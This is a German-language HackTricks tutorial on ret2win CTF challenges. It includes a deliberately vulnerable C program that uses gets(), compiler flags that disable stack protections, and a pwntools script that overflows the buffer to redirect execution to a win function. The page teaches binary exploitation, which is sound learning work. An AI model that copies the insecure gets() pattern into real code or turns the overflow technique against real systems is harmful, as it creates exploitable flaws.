# Ret2win {{#include ../../../banners/hacktricks-training.md}} ## Grundinformationen **Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine spezifische, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen: ### C-Beispiel Betrachten Sie ein einfaches C-Programm mit einer Schwachstelle und einer `win`-Funktion, die wir aufrufen möchten: ```c #include #include void win() { printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { char buf[64]; gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { vulnerable_function(); return 0; } ``` Um dieses Programm ohne Stack-Schutz und mit **ASLR** deaktiviert zu kompilieren, können Sie den folgenden Befehl verwenden: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Kompiliere das Programm als 32-Bit-Binärdatei (dies ist optional, aber häufig in CTF-Herausforderungen). - `-fno-stack-protector`: Deaktiviere den Schutz gegen Stack-Überläufe. - `-z execstack`: Erlaube die Ausführung von Code im Stack. - `-no-pie`: Deaktiviere Position Independent Executable, um sicherzustellen, dass die Adresse der `win`-Funktion sich nicht ändert. - `-o vulnerable`: Nenne die Ausgabedatei `vulnerable`. ### Python Exploit mit Pwntools Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript erstellt eine Payload, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben. ```python from pwn import * # Set up the process and context for the binary binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path # Find the address of the win function win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary # Create the payload # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. payload = b'A' * 68 + win_addr # Send the payload p.sendline(payload) p.interactive() ``` Um die Adresse der `win`-Funktion zu finden, können Sie **gdb**, **objdump** oder ein anderes Tool verwenden, das es Ihnen ermöglicht, Binärdateien zu inspizieren. Zum Beispiel könnten Sie mit `objdump` Folgendes verwenden: ```sh objdump -d vulnerable | grep win ``` Dieser Befehl zeigt Ihnen die Assemblierung der `win`-Funktion, einschließlich ihrer Startadresse. Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rücksprungadresse auf dem Stack mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, springt es anstelle der Rückkehr zu `main` oder des Verlassens zu `win`, und die Nachricht wird ausgegeben. ## Schutzmaßnahmen - [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten. - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird. ## Weitere Beispiele & Referenzen - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32bit, kein ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - 64 Bit mit ASLR, mit einem Leak der Bin-Adresse - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 Bit, kein ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32 Bit, kein ASLR, doppelter kleiner Überlauf, zuerst den Stack überlaufen und die Größe des zweiten Überlaufs vergrößern - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 Bit, relro, kein Canary, nx, kein pie, Format-String zur Überschreibung der Adresse `fflush` mit der win-Funktion (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - 32 Bit, nx, nichts anderes, partielle Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - 32 Bit, nx, nichts anderes, partielle Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - Das Programm validiert nur das letzte Byte einer Zahl, um die Größe der Eingabe zu überprüfen, daher ist es möglich, jede Größe hinzuzufügen, solange das letzte Byte im erlaubten Bereich liegt. Dann erzeugt die Eingabe einen Pufferüberlauf, der mit einem ret2win ausgenutzt wird. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64 Bit, relro, kein Canary, nx, pie. Partielle Überschreibung, um die win-Funktion (ret2win) aufzurufen - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64, PIE, es gibt einen PIE-Leak, die win-Funktion ist tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - ARM64, off-by-one, um eine win-Funktion aufzurufen ## ARM64 Beispiel {{#ref}} ret2win-arm64.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}